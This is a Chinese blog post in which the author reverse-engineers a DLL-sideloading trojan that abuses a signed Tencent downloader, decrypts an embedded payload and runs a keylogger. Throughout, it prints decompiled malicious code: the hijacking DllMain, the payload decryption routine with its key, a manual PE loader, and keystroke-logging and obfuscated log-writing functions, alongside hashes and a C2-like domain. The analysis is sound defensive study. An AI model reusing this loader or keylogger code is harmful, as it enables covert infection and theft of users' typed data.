【软件逆向-白加黑dll劫持恶意样本分析(含样本详细逻辑)】此文章归类为:软件逆向。
一杯茶,一根烟,一个样本调一天。
这是我在学习网安路上的一条记录。
虽然样本是相对比较古老的,网上也有很多人分析过,但是他们的资料都比较宽泛,过程很跳。对我来说,我希望对这个样本行为有更深更细的掌握,因此在函数行为逻辑方面我做了更深更彻底的探讨,比如键盘记录器以及中途如何去寻找上游控制函数,几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天,是我正儿八经自己分析的第一个样本,成就感挺足的,中途还有相当多的不足以及错误,比如远控函数sub_10002020的具体的功能函数,白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE,以及其他我没有关注到的细节,希望大佬们多多指导。
白加黑:用自己编写的恶意dll替代合法程序所需DLL,实现恶意代码注入
Windows XP SP2系统以上DLL文件加载的搜索顺序如下:
根据前面介绍的DLL加载顺序,运行程序的时候会优先到程序执行的目录下加载必须文件,这么一来,病毒作者可以伪造一个dll,包含所有被劫持dll的导出函数,放到可执行程序目录下,当exe运行时,病毒dll就理所当然被优先调用了。
两个隐藏文件,一个截图.bmp
bmp是图像,这里系统解析是快捷方式,这里先不双击,winhex查看bmp
发现他会调用系统的rundll32.exe,调用样本的dat/reg.dll
双击之后,会弹出一个腾讯游戏云加速下载引擎,然后跳出一个DNF价格表jpg图片
火绒剑监控rundll32.exe进程,过滤rundll32.exe进程和病毒文件夹路径
可以看到,调用了三种dll
并且观察进程可以发现,多了QQGame.exe
查看可疑进程dllhost.exe,可以发现dat中的TenioDL_core.dll
双击bmp之后还有一个可疑进程Au.exe,查看信息可以知道就是刚刚跳出来的下载引擎
整理以上信息
文件名 | MD5 | 是否有签名 |
---|---|---|
HD_Comm.dll | 4E7297B83268994537D575716CC65A54 | 无 |
截图.bmp.lnk | 5C9422B6B2731A67D8504CD5C8F96812 | 无 |
Au.exe | 4BED62D4A1344F3A87E8B8A629E3B26D | 有(腾讯游戏云加速下载引擎(旋风Inside) |
Config.dat | B6BE1CFEB69FC091E67480E45E9B4B4D | 无 |
io.dat | 798536BB39EF2066DF35885F78C59A58 | 无 |
Reg.dll | E3DE7CB9E11F877ABDB56D832F20E76F | 有 |
config.dat | B6BE1CFEB69FC091E67480E45E9B4B4D | 无 |
dllhost.exe | 9A0F444364CC3FC74C3AB1E7BFBD219B | 无 |
load.exe | 4BED62D4A1344F3A87E8B8A629E3B26D | 有(腾讯游戏云加速下载引擎(旋风Inside)) |
TenioDL_core.dll | 4E7297B83268994537D575716CC65A54 | 无 |
接下来就是根据这个表进行分析
首先分析reg.dll
先静态分析
扔到IDA中,查看字符串
导入文件的过程中,要求我们导入病毒文件夹中的HD_Comm.dll
文件,这个后面得分析
复现文章中有中文,银行检测工具啥的,我没带插件,分析的其实是英文
可以猜测是安全检测工具的dll,或者是恶意工具实现的导出函数
这里的字符串没有什么特别可疑的,大部分是函数名和dll调用,最可疑的还是病毒自己实现的HD_Comm.dll
1 | .rdata:10006E20 0000000C C HD_Comm.dll |
整体上Reg.dll还是一个跳板文件,这里分析HD_Comm.dll
这个DLL解析不出导入表,查看导出表,其中有很多函数,可能是在正常dll文件中加入了恶意代码
发现加了UPX壳,脱壳,安装官方工具https://github.com/upx/upx/releases,脱壳upx -d
即可
1 2 3 4 5 6 7 8 9 10 11 | PS C:\Users\wang\Desktop\upx-4.2.3-win64> .\upx.exe -d C:\Users\wang\Desktop\信誉新价格\HD_Comm.dll Ultimate Packer for eXecutables Copyright (C) 1996 - 2024 UPX 4.2.3 Markus Oberhumer, Laszlo Molnar & John Reiser Mar 27th 2024 File size Ratio Format Name -------------------- ------ ----------- ----------- 24576 <- 9728 39.58% win32 /pe HD_Comm.dll Unpacked 1 file . PS C:\Users\wang\Desktop\upx-4.2.3-win64> |
重新分析HD_Comm.dll发现已经脱壳了,原先的是upx壳,所以导入表没用,导出表仍然是那么多
导入表比较可疑,发现了shellcode常用的几个api,winexec、createfileA、LoadLibraryA等
dllmain比较小只,逻辑比较简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | BOOL __stdcall DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { CHAR ExistingFileName[257]; // [esp+8h] [ebp-40Ch] BYREF __int16 v5; // [esp+109h] [ebp-30Bh] char v6; // [esp+10Bh] [ebp-309h] CHAR Filename[253]; // [esp+10Ch] [ebp-308h] BYREF __int16 v8; // [esp+209h] [ebp-20Bh] char v9; // [esp+20Bh] [ebp-209h] CHAR String1[257]; // [esp+20Ch] [ebp-208h] BYREF __int16 v11; // [esp+30Dh] [ebp-107h] char v12; // [esp+30Fh] [ebp-105h] CHAR pszPath[257]; // [esp+310h] [ebp-104h] BYREF __int16 v14; // [esp+411h] [ebp-3h] char v15; // [esp+413h] [ebp-1h] memset (Filename, 0, sizeof (Filename)); dword_100035F0 = hinstDLL; v8 = 0; v9 = 0; GetModuleFileNameA(0, Filename, 0xFFu); CharLowerA(Filename); if ( StrStrA(Filename, pszSrch) ) { if ( CreateMutexA(0, 0, Name) && GetLastError() == 183 ) ExitProcess(0); memset (pszPath, 0, sizeof (pszPath)); v14 = 0; v15 = 0; GetModuleFileNameA(dword_100035F0, pszPath, 0x104u); PathRemoveFileSpecA(pszPath); lstrcatA(pszPath, aDatTeniodlCore); memset (ExistingFileName, 0, sizeof (ExistingFileName)); v5 = 0; v6 = 0; GetModuleFileNameA(dword_100035F0, ExistingFileName, 0x104u); CopyFileA(ExistingFileName, pszPath, 0); memset (String1, 0, sizeof (String1)); v11 = 0; v12 = 0; GetModuleFileNameA(dword_100035F0, String1, 0x104u); PathRemoveFileSpecA(String1); lstrcatA(String1, aDatAuExe); WinExec(String1, 0); } return 1; } |
C:\Users\wang\Desktop\信誉新价格\dat\TenioDL_core.dll
路径,然后把当前的HD_Comm.dll
复制并重命名**C:\Users\wang\Desktop\信誉新价格\dat\TenioDL_core.dll**
。**C:\Users\wang\Desktop\信誉新价格\dat\Au.exe**
**C:\Users\wang\Desktop\信誉新价格\dat\Au.exe**
运行Au.exe,发现dnf的图片跳出来,说明病毒已经运行。
静态分析,查壳,无壳
IDA分析,符号表不全,先查看字符串
注意到字符表,可能用来做加密
搜索dll、exe等敏感字符,发现会调用我们之前复制过去的TenioDL_core.dll
从WinMain开始分析
1 2 3 4 5 6 7 8 9 10 11 | int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { if ( sub_401C50() ) return -1; ImmDisableIME(0xFFFFFFFF); sub_401ED0(); strstr (lpCmdLine, "tenio_debug_console" ); TenioDL_Initialize(); ReleaseMutex(hMutex); return 0; } |
经过总体分析,这里的sub_401C50是全局话的设置,ImmDisableIME是输入法方面设置,sub_401ED0设置了一些安全方面的内容,疑似下了一些检测filter和钩子,最终调用了TenioDL_Initialize。
搜索TenioDL_Initialize,可以发现Teniodl进程是腾讯游戏中高速下载引擎下载进程,而这个函数是做初始化操作的。
上面我们知道Au.exe调用了Teniodl_Core.dll
,搜索引用发现这个是TenioDL_Initialize
的导入函数,所以去分析TenioDL_Initialize
函数
1 2 3 4 | .rdata:00425C94 54 65 6E 69 6F 44 4C 5F 63 6F+aTeniodlCoreDll db 'TenioDL_core.dll' ,0 ; DATA XREF: .rdata:00425864↑o .rdata:00425864 94 5C 02 00 dd rva aTeniodlCoreDll ; DLL Name .rdata:00425868 98 21 02 00 dd rva ?TenioDL_Initialize@@YAHXZ ; Import Address Table |
我们知道,Teniodl_Core.dll其实就是我们之前分析的HD_Comm.dll,不过这里调用的是HD_Comm.dll提供的导出函数,不是DllMain。
跟进TenioDL_Initialize
(同样的这个dll需要脱upx壳)
进入函数之后可以查看到,首先调用GetModuleFileNameA
获取模块名,GetForegroundWindow和GetInputState检查前台窗口和输入状态(不明白有啥用),PathRemoveFileSpecA去除文件名,再用lstrcatA
追加\config.dat
,构造出C:\Users\wang\Desktop\信誉新价格\dat\Config.dat
,这就是存放病毒的数据文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | ; Exported entry 107. ?TenioDL_Initialize@@YAHXZ ; Attributes: bp-based frame ; int __cdecl TenioDL_Initialize() public ?TenioDL_Initialize@@YAHXZ ?TenioDL_Initialize@@YAHXZ proc near Filename= byte ptr -10Ch NumberOfBytesRead= dword ptr -8 hFile= dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push esi push edi lea eax, [ebp+Filename] push 104h ; nSize push eax ; lpFilename push dword_100035F0 ; hModule call ds:GetModuleFileNameA call ds:GetForegroundWindow call ds:GetInputState lea eax, [ebp+Filename] push eax ; pszPath call ds:PathRemoveFileSpecA lea eax, [ebp+Filename] push offset aConfigDat ; "\\config.dat" push eax ; lpString1 call ds:lstrcatA xor edi, edi lea eax, [ebp+Filename] push edi ; hTemplateFile push edi ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push edi ; lpSecurityAttributes push edi ; dwShareMode push 80000000h ; dwDesiredAccess push eax ; lpFileName call ds:CreateFileA |
继续查看代码。指定了config.dat文件,首先会创建或者打开config.dat,readfile读取文件内容到开辟出来的堆内存中,然后解密函数从内存中把数据写入config.dat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | int __cdecl TenioDL_Initialize() { int v0; // edi HANDLE FileA; // eax DWORD FileSize; // ebx HANDLE ProcessHeap; // eax char *v4; // esi int v5; // eax void *v6; // esi void (*v8)( void ); // eax CHAR Filename[260]; // [esp+8h] [ebp-10Ch] BYREF DWORD NumberOfBytesRead; // [esp+10Ch] [ebp-8h] BYREF HANDLE hFile; // [esp+110h] [ebp-4h] GetModuleFileNameA(dword_100035F0, Filename, 0x104u); GetForegroundWindow(); GetInputState(); PathRemoveFileSpecA(Filename); lstrcatA(Filename, aConfigDat); v0 = 0; FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0, 0); hFile = FileA; if ( FileA == ( HANDLE )-1 ) { CloseHandle(( HANDLE )0xFFFFFFFF); return 0; } FileSize = GetFileSize(FileA, 0); ProcessHeap = GetProcessHeap(); v4 = ( char *)HeapAlloc(ProcessHeap, 8u, FileSize); NumberOfBytesRead = 0; ReadFile(hFile, v4, FileSize, &NumberOfBytesRead, 0); CloseHandle(hFile); sub_100016B0(++v4, FileSize, 0x18u); v5 = sub_10001000(v4); v6 = ( void *)v5; if ( !v5 ) return 0; v8 = ( void (*)( void ))sub_100014DE(v5, String1); if ( v8 ) { v8(); v0 = 42; } sub_10001587(v6); return v0; } |
进入sub_100016B0看看,可以发现先这个操作非常像解密函数,传入的a1参数是开辟的堆内存,其中存放config.dat读取进的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | v5 = ( struct _INFORMATIONCARD_CRYPTO_HANDLE *)HeapAlloc(ProcessHeap, 8u, FileSize); NumberOfBytesRead = 0; ReadFile(hFile, v5, FileSize, &NumberOfBytesRead, 0); CloseHandle(hFile); v5 = ( struct _INFORMATIONCARD_CRYPTO_HANDLE *)(( char *)v5 + 1); sub_100016B0(v5, FileSize, 0x18u); // sub_100016B0重命名为TrojanDecrypt ...... // push 18h // push ebx // push esi // call TrojanDecrypt ; 病毒解密函数 // 病毒解密函数 int __cdecl TrojanDecrypt( int a1, int a2, unsigned __int8 a3) { int result; // eax int v4; // esi result = a3 / 169; v4 = a2; if ( a2 ) { result = a1; do { *(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8); ++result; --v4; } while ( v4 ); } return result; } |
汇编如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | .text:100016B0 ; =============== S U B R O U T I N E ======================================= .text:100016B0 .text:100016B0 ; 病毒解密函数 .text:100016B0 ; Attributes: bp-based frame .text:100016B0 .text:100016B0 ; int __cdecl TrojanDecrypt( int , int , unsigned __int8 ) .text:100016B0 TrojanDecrypt proc near ; CODE XREF: TenioDL_Initialize( void )+B7↓p .text:100016B0 .text:100016B0 arg_0= dword ptr 8 .text:100016B0 arg_4= dword ptr 0Ch .text:100016B0 arg_8= byte ptr 10h .text:100016B0 .text:100016B0 55 push ebp .text:100016B1 8B EC mov ebp, esp .text:100016B3 56 push esi .text:100016B4 90 nop .text:100016B5 90 nop .text:100016B6 90 nop .text:100016B7 90 nop .text:100016B8 90 nop .text:100016B9 0F B6 45 10 movzx eax, [ebp+arg_8] .text:100016BD 99 cdq .text:100016BE B9 A9 00 00 00 mov ecx, 0A9h .text:100016C3 F7 F9 idiv ecx .text:100016C5 80 C2 08 add dl, 8 .text:100016C8 90 nop .text:100016C9 8B 75 0C mov esi, [ebp+arg_4] .text:100016CC 85 F6 test esi, esi .text:100016CE 76 0F jbe short loc_100016DF .text:100016CE .text:100016D0 8B 45 08 mov eax, [ebp+arg_0] .text:100016D0 .text:100016D3 .text:100016D3 loc_100016D3: ; CODE XREF: TrojanDecrypt+2D↓j .text:100016D3 8A 08 mov cl, [eax] .text:100016D5 32 CA xor cl, dl .text:100016D7 2A CA sub cl, dl .text:100016D9 88 08 mov [eax], cl .text:100016DB 40 inc eax .text:100016DC 4E dec esi .text:100016DD 75 F4 jnz short loc_100016D3 .text:100016DD .text:100016DF .text:100016DF loc_100016DF: ; CODE XREF: TrojanDecrypt+1E↑j .text:100016DF 5E pop esi .text:100016E0 5D pop ebp .text:100016E1 C3 retn .text:100016E1 .text:100016E1 TrojanDecrypt endp |
根据反汇编代码我们可以得到解密思路:
1 2 3 | *(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8); ++result; --v4; |
浅浅写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | def decrypt_data(input_file, output_file, key): # 读取输入文件 with open (input_file, 'rb' ) as f: encrypted_data = f.read() decrypted_data = bytearray() # 解密过程 for byte in encrypted_data: decrypted_byte = ((key % 169 + 8 ) ^ byte) - (key % 169 + 8 ) # 由于减法可能导致字节值小于0,我们需要将其模256以保持在有效字节范围内 decrypted_data.append(decrypted_byte & 0xFF ) # 写入输出文件 with open (output_file, 'wb' ) as f: f.write(decrypted_data) # 解密密钥 key = 0x18 # 调用解密函数 decrypt_data( 'Config.dat' , 'result.dat' , key) |
但是这里脚本有点问题,我直接到动调里面内存dump吧
走出100016B0之后,内存中的PE已经被修改了。
浅浅算一下文件地址,winhex中看到大小为64CF0
动调中,ESI起始地址(内存分配地址)为0xx6B68D1,加一起就是0x71B5C1。
dump出来,保存为文件
在病毒的解密(sub_100016B0)之后,进入sub_10001000,分析在注释中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | // 入参为病毒PE文件句柄 _DWORD *__cdecl sub_10001000(_DWORD *Src) { HMODULE LibraryA; // eax HMODULE v2; // eax char *v3; // esi char *v4; // ebx HANDLE ProcessHeap; // eax _DWORD *v6; // edi char *v7; // eax char *v8; // eax LPVOID (__stdcall *VirtualAlloc)( LPVOID , SIZE_T , DWORD , DWORD ); // [esp+Ch] [ebp-4h] char *v11; // [esp+Ch] [ebp-4h] LibraryA = LoadLibraryA(LibFileName); // kernel32.dll VirtualAlloc = ( LPVOID (__stdcall *)( LPVOID , SIZE_T , DWORD , DWORD ))GetProcAddress(LibraryA, ProcName); // VirtuallAlloc v2 = LoadLibraryA(LibFileName); GetProcAddress(v2, aVirtualprotect); // VirtualProtect GetForegroundWindow(); GetInputState(); GetForegroundWindow(); GetInputState(); if ( *(_WORD *)Src != 23117 ) // 0X4D5A "MZ" return 0; v3 = ( char *)Src + Src[15]; // 为什么是src+src[15]?这里应该是要到达PE头,但是难道不是访问e_lfanew吗?偏移为0x3c // 答:可能是经过了编译器优化,或者特殊的编程技巧。反正这里一定是指向的NT头 if ( *(_DWORD *)v3 != 17744 ) // 0x4550 "PE" return 0; v4 = ( char *)VirtualAlloc(*(( LPVOID *)v3 + 13), *((_DWORD *)v3 + 20), 0x2000, 4); // 尝试在ImageBase地址处开辟大小为SizeOfImage大小的内存 if ( !v4 ) { v4 = ( char *)VirtualAlloc(0, *((_DWORD *)v3 + 20), 0x2000, 4); // 随机开辟SizeOfImage大小的内存 if ( !v4 ) return 0; } ProcessHeap = GetProcessHeap(); // 获取进程堆句柄 v6 = HeapAlloc(ProcessHeap, 0, 0x14u); // 开辟0x14大小的堆,未初始化内存 v6[1] = v4; // 注册刚刚分配的虚拟内存 v6[3] = 0; v6[2] = 0; v6[4] = 0; VirtualAlloc(v4, *((_DWORD *)v3 + 20), 4096, 4); // 这可能是反编译的误解,这里没有必要 v11 = ( char *)VirtualAlloc(v4, *((_DWORD *)v3 + 21), 4096, 4); memcpy (v11, Src, *((_DWORD *)v3 + 21) + Src[15]); v7 = &v11[Src[15]]; *v6 = v7; *((_DWORD *)v7 + 13) = v4; sub_10001171(Src, v3, v6); if ( v4 != *(( char **)v3 + 13) ) sub_10001339(v6, &v4[-*((_DWORD *)v3 + 13)]); if ( !sub_100013CA(v6) ) { LABEL_11: sub_10001587(v6); return 0; } sub_1000125D(v6); if ( *(_DWORD *)(*v6 + 40) ) { GetForegroundWindow(); GetInputState(); GetForegroundWindow(); GetInputState(); v8 = &v4[*(_DWORD *)(*v6 + 40)]; if ( !v8 || !(( int (__stdcall *)( char *, int , _DWORD))v8)(v4, 1, 0) ) goto LABEL_11; v6[4] = 1; } return v6; } |
我的直觉告诉我这里的v8函数调用应该有大问题,但是静态分析实在怼不出来,动调试一下,看看v8指向的是哪里。
NT头检测
edi指向pe头
步入v8调用的函数,然后啥都没分析出来,没看到什么敏感的函数或者操作,开辟了个内存然后又释放了。
这个v6,应当是注册PE各个头内存地址的堆,动调没看出个所以然来。
菜了,不知道这里是不是这种思路,看不出东西我就先过。
解密病毒文件之后,调用sub_100014DE
,传入的string1为wow_helper
,v5为堆内存(这个堆有啥用没分析明白)
1 2 3 4 5 6 7 8 9 10 11 12 13 | v5 = sub_10001000(v4); v6 = v5; if ( !v5 ) return 0; v8 = ( void (*)( void ))sub_100014DE(( int )v5, String1); if ( v8 ) { v8(); v0 = 42; } sub_10001587(v6); return v0; } |
这个函数事后诸葛亮地分析一波,其中有stricmp函数进行比较,应当是搜索wow_helper,我们也知道这是Config.dat的导出函数,那么这里应当就是搜索这个导出函数的。
最终会返回一个句柄,并且在外部执行这个函数,动调看一眼
动调跟进call eax。调试发现这里调用了病毒文件Config.dat,相关字符串是Config.dat的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | 021DAC60 | 81EC EC0D0000 | sub esp,DEC | 021DAC66 | 68 4CC31E02 | push 21EC34C | 21EC34C: "KSafeTray.exe" 021DAC6B | E8 A0FAFFFF | call 21DA710 | 021DAC70 | 83C4 04 | add esp,4 | 021DAC73 | 85C0 | test eax,eax | 021DAC75 | 74 0D | je 21DAC84 | 021DAC77 | 68 4CC31E02 | push 21EC34C | 21EC34C: "KSafeTray.exe" 021DAC7C | E8 BFF4FFFF | call 21DA140 | 021DAC81 | 83C4 04 | add esp,4 | 021DAC84 | 53 | push ebx | 021DAC85 | 55 | push ebp | 021DAC86 | 56 | push esi | esi:& "PE" 021DAC87 | 57 | push edi | 021DAC88 | 33DB | xor ebx,ebx | 021DAC8A | B9 3F000000 | mov ecx,3F | ecx: "wow_helper" , 3F: '?' 021DAC8F | 33C0 | xor eax,eax | 021DAC91 | 8DBC24 F1070000 | lea edi,dword ptr ss:[esp+7F1] | 021DAC98 | 889C24 F0070000 | mov byte ptr ss:[esp+7F0],bl | 021DAC9F | 8B35 88511E02 | mov esi,dword ptr ds:[<&GetModuleFileNa | esi:& "PE" 021DACA5 | F3:AB | rep stosd | 021DACA7 | 66:AB | stosw | 021DACA9 | AA | stosb | 021DACAA | 8D8424 F0070000 | lea eax,dword ptr ss:[esp+7F0] | 021DACB1 | 68 FF000000 | push FF | 021DACB6 | 50 | push eax | 021DACB7 | 53 | push ebx | 021DACB8 | FFD6 | call esi | 021DACBA | 8D8C24 F0070000 | lea ecx,dword ptr ss:[esp+7F0] | 021DACC1 | 51 | push ecx | ecx: "wow_helper" 021DACC2 | FF15 B4531E02 | call dword ptr ds:[<&CharLowerA>] | 021DACC8 | 8D9424 F0070000 | lea edx,dword ptr ss:[esp+7F0] | 021DACCF | 68 40C31E02 | push 21EC340 | 21EC340: "load.exe" 021DACD4 | 52 | push edx | 021DACD5 | FF15 00531E02 | call dword ptr ds:[<&StrStrA>] | 021DACDB | 85C0 | test eax,eax | 021DACDD | 0F84 C7010000 | je 21DAEAA | 021DACE3 | 53 | push ebx | 021DACE4 | 8D8424 EC030000 | lea eax,dword ptr ss:[esp+3EC] | 021DACEB | 6A 24 | push 24 | 021DACED | 50 | push eax | 021DACEE | 53 | push ebx | 021DACEF | FF15 E0521E02 | call dword ptr ds:[<&SHGetSpecialFolder | 021DACF5 | 8D8C24 E8030000 | lea ecx,dword ptr ss:[esp+3E8] | 021DACFC | 68 C8C11E02 | push 21EC1C8 | 21EC1C8: "\\limit\\dllhost.exe" 021DAD01 | 51 | push ecx | ecx: "wow_helper" 021DAD02 | FF15 30521E02 | call dword ptr ds:[<&lstrcatA>] | 021DAD08 | 8B2D 60511E02 | mov ebp,dword ptr ds:[<&LoadLibraryA>] | 021DAD0E | 68 A0C01E02 | push 21EC0A0 | 21EC0A0: "kernel32.dll" |
上面这俩函数没有分析明白,先看病毒程序吧
之前内存dump出来的病毒扔到IDA中,识别为PE。查看字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | .data:1001B744 0000000E C [Pause Break] .data:1001B754 00000008 C [Shift] .data:1001B75C 00000006 C [Alt] .data:1001B764 00000008 C [CLEAR] .data:1001B76C 0000000C C [BACKSPACE] .data:1001B778 00000009 C [DELETE] .data:1001B784 00000009 C [INSERT] .data:1001B798 0000000B C [Num Lock] .data:1001B7A4 00000007 C [Down] .data:1001B7AC 00000008 C [Right] .data:1001B7BC 00000007 C [Left] .data:1001B7C4 0000000B C [PageDown] .data:1001B7D0 00000006 C [End] .data:1001B7D8 00000009 C [Delete] .data:1001B7E4 00000009 C [PageUp] .data:1001B7F0 00000007 C [Home] .data:1001B7F8 00000009 C [Insert] .data:1001B804 0000000E C [Scroll Lock] .data:1001B814 0000000F C [Print Screen] .data:1001B82C 00000006 C [WIN] .data:1001B834 00000007 C [CTRL] .data:1001B8C4 00000006 C [TAB] .data:1001B900 00000006 C [F12] .data:1001B908 00000006 C [F11] .data:1001B910 00000006 C [F10] .data:1001B960 00000006 C [ESC] .data:1001B968 00000008 C [Enter] .data:1001B9A8 0000000A C <Enter>\r\n .data:1001B9B4 0000000C C <BackSpace> |
1 | .data:1001BAB4 0000000E C 981859203.com |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | .data:1001C1C8 00000013 C \\limit\\dllhost.exe .data:1001C1FC 0000000F C //Explorer.EXE .data:1001C20C 0000000C C 360Tray.exe .data:1001C224 00000008 C \\Au.exe .data:1001C264 00000009 C c:\\1.jpg .data:1001C270 00000018 C \\limit\\TenioDL_core.dll .data:1001C288 00000012 C \\TenioDL_core.dll .data:1001C29C 00000012 C \\limit\\config.dat .data:1001C2B0 0000000C C \\config.dat .data:1001C2BC 0000000D C \\dllhost.exe .data:1001C2CC 00000007 C \\limit .data:1001C2D4 00000010 C \\limit\\load.exe .data:1001C2EC 00000008 C \\io.dat .data:1001C2F8 0000001B C \\Tencent\\QQGAME\\QQGame.exe .data:1001C314 00000008 C \\QQGAME .data:1001C31C 00000009 C \\Tencent .data:1001C340 00000009 C load.exe .data:1001C34C 0000000E C KSafeTray.exe .data:1001C36C 00000010 C \\Tencent\\QQGAME |
任意挑选一个键盘相关字符串,我这里选择Shift,查看交叉引用
发现是单字符存储(数组),那么就查看数组的交叉引用,类型为r说明被读取了
可以发现,作为lstrcatA的参数,拿去与字符串拼接了
按下空格,查看一下总体模块流程
查看详细的键盘记录逻辑,分析sub_10006040函数
函数中有三个关键参数:v2计数器、string、v8字符数组
函数会首先判断string是否为空,不为空的话会调用sub_10005F30处理收集到的字符信息
这里我们首先查看字符为空,函数如何收集按键信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | v2 = 0; while ( 1 ) { KeyState = GetKeyState(16); // 检查Shift键是否被按下 v4 = dword_1001B4F4[v2]; // 获取当前迭代中指定的键的虚拟键码 v5 = KeyState; // 存储Shift键的状态 if ( (((unsigned __int16 )GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下 { // ...其他代码处理按键释放... } else { // ...其他代码处理按键按下... } // ...循环的其他部分... if ( ++v2 >= 101 ) break ; } |
首先他使用v2进行虚拟键码迭代
接下来是不同按键的处理逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | if ( (((unsigned __int16 )GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下 { v6 = v8[v4]; if ( v6 ) { v8[v4] = 0; if ( v4 == 8 ) // 如果是退格键 { lstrcatA(String, aBackspace); // 添加退格字符到String数组 sub_10005DF0(String); // 发送String数组的内容 } else if ( lstrlenA(String) <= 550 ) // 如果String数组的长度小于或等于550 { if ( v4 != 13 ) // 如果不是回车键 { if ( v6 % 2 == 1 ) // 如果v8数组中的值是奇数 { lstrcatA(String, off_1001B360[v2]); // 添加大写字母到String数组 } else if ( !(v6 % 2) ) // 如果v8数组中的值是偶数 { lstrcatA(String, off_1001B1CC[v2]); // 添加小写字母到String数组 } } else // 如果是回车键 { lstrcatA(String, aEnter); // 添加回车字符到String数组 sub_10005DF0(String); // 发送String数组的内容 } } else // 如果String数组的长度超过550 { sub_10005DF0(String); // 发送String数组的内容 } memset (String, 0, sizeof (String)); // 清空String数组 } } else // 如果v4指定的键被按下 { // ...代码处理按键按下的情况... } |
按键活动处理:
v8
数组中对应键码v4
的值。退格键(键码8)
,函数会添加一个表示退格的字符串到String
数组,并调用sub_10005DF0
来处理String
数组的内容。回车键(键码13)
,函数会添加一个表示回车的字符串到String
数组,并调用sub_10005DF0
来处理String
数组的内容。v8
数组中的值(奇数或偶数)来决定添加大写字母还是小写字母到String
数组。大写锁定和Shift键处理:
String
数组。v8
数组的值会根据大写锁定和Shift键的状态来更新。字符串发送:
String
数组的长度超过了一定的限制(例如550),或者按键活动已经被处理(如回车键),函数会调用sub_10005DF0
来发送或记录String
数组中的内容。分析一下sub_10005DF0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | BOOL __cdecl sub_10005DF0( LPCSTR lpString) { HANDLE FileA; // ebp int v2; // esi _BYTE *v3; // eax const void *v4; // edi const CHAR *v5; // ecx int v6; // eax DWORD NumberOfBytesWritten; // [esp+10h] [ebp-108h] BYREF CHAR Buffer[260]; // [esp+14h] [ebp-104h] BYREF GetSystemDirectoryA(Buffer, 0x104u); // 获取系统目录路径 strcat (Buffer, asc_1001B83C); // 追加'\' strcat (Buffer, aWindows); // 追加'Windows' strcat (Buffer, aKey); // 追加'.key' // 创建文件 // C:\Windows\System32\Windows.key FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0, 4u, 0x80u, 0); NumberOfBytesWritten = 0; // GetFileSize检查文件大小,如果小于50MB(0x3200000字节) // SetFilePointer将文件指针移动到文件末尾,准备追加数据 if ( GetFileSize(FileA, 0) < 0x3200000 ) SetFilePointer(FileA, 0, 0, 2u); // 计算传入的string参数长度,new一个空间 v2 = lstrlenA(lpString); v3 = operator new (v2); v4 = v3; if ( v2 > 0 ) { // 参数字符串与新开辟的字符串内存地址偏移 v5 = ( const CHAR *)(lpString - v3); do { // 利用v3指针与偏移,提取处理后的lpstring数据到v3内存 // lpstring每一位与0x62进行异或操作 *v3 = v3[(_DWORD)v5] ^ 0x62; ++v3; --v2; } while ( v2 ); } v6 = lstrlenA(lpString); // 将异或后的数据写入Windows.key文件 WriteFile(FileA, v4, v6, &NumberOfBytesWritten, 0); return CloseHandle(FileA); } |
在开始循环迭代虚拟键码前,还有一个迭代的收尾处理。如果string在最后仍然非空(程序键码超出101,仍有一些收集的字符残留在string中),就会进入sub_10005F30,在其中记新系统时间,并且保存剩下的字母(还会判断一下当前前台窗口的标题是否是上一次存放的标题,如果不是,就说明下一个迭代周期,键盘记录程序已经在记录别的窗口的键盘信息了)。
